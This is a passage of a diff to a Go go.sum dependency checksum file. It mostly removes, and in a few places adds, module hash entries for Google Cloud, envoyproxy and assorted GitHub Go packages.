v1.19.0/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= -cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= -cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= -cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= -cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= -cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= -cloud.google.com/go/videointelligence v1.11.1/go.mod h1:76xn/8InyQHarjTWsBR058SmlPCwQjgcvoW0aZykOvo= -cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= -cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= -cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= -cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= -cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= -cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= -cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= -cloud.google.com/go/vision/v2 v2.7.2/go.mod h1:jKa8oSYBWhYiXarHPvP4USxYANYUEdEsQrloLjrSwJU= -cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= -cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= -cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= -cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= -cloud.google.com/go/vmmigration v1.7.1/go.mod h1:WD+5z7a/IpZ5bKK//YmT9E047AD+rjycCAvyMxGJbro= -cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= -cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= -cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= -cloud.google.com/go/vmwareengine v0.4.1/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= -cloud.google.com/go/vmwareengine v1.0.0/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= -cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= -cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= -cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= -cloud.google.com/go/vpcaccess v1.7.1/go.mod h1:FogoD46/ZU+JUBX9D606X21EnxiszYi2tArQwLY4SXs= -cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= -cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= -cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= -cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= -cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= -cloud.google.com/go/webrisk v1.9.1/go.mod h1:4GCmXKcOa2BZcZPn6DCEvE7HypmEJcJkr4mtM+sqYPc= -cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= -cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= -cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= -cloud.google.com/go/websecurityscanner v1.6.1/go.mod h1:Njgaw3rttgRHXzwCB8kgCYqv5/rGpFCsBOvPbYgszpg= -cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= -cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= -cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= -cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= -cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= -cloud.google.com/go/workflows v1.11.1/go.mod h1:Z+t10G1wF7h8LgdY/EmRcQY8ptBD/nvofaL6FqlET6g= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= -gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= -git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -765,6 +44,7 @@ github.com/Masterminds/sprig v2.22.0+incompatible h1:z4yfnGrZ7netVz+0EDJ0Wi+5VZC github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= @@ -772,39 +52,22 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= -github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= -github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= -github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= -github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= -github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= -github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= -github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= -github.com/apache/arrow/go/v12 v12.0.0/go.mod h1:d+tV/eHZZ7Dz7RPrFKtPK02tpr+c9/PEd/zm8mDS9Vg= -github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= +github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= +github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= -github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= -github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= +github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -814,23 +77,8 @@ github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= -github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= -github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= -github.com/cncf/xds/go v0.0.0-20230607035331-e9ce68804cb4/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -838,23 +86,17 @@ github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPqu github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/deepmap/oapi-codegen v1.8.2 h1:SegyeYGcdi0jLLrpbCMoJxnUUn8GBXHsvr4rbzjuhfU= -github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= github.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po= github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= @@ -862,85 +104,47 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= -github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= -github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= -github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= -github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= -github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= -github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= -github.com/envoyproxy/go-control-plane v0.11.1-0.20230524094728-9239064ad72f/go.mod h1:sfYdkwUW4BA3PbKjySwjJy+O4Pu0h62rlqCMHNk+K+Q= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= -github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= -github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= -github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= -github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= -github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= -github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= -github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= -github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= -github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/liberation 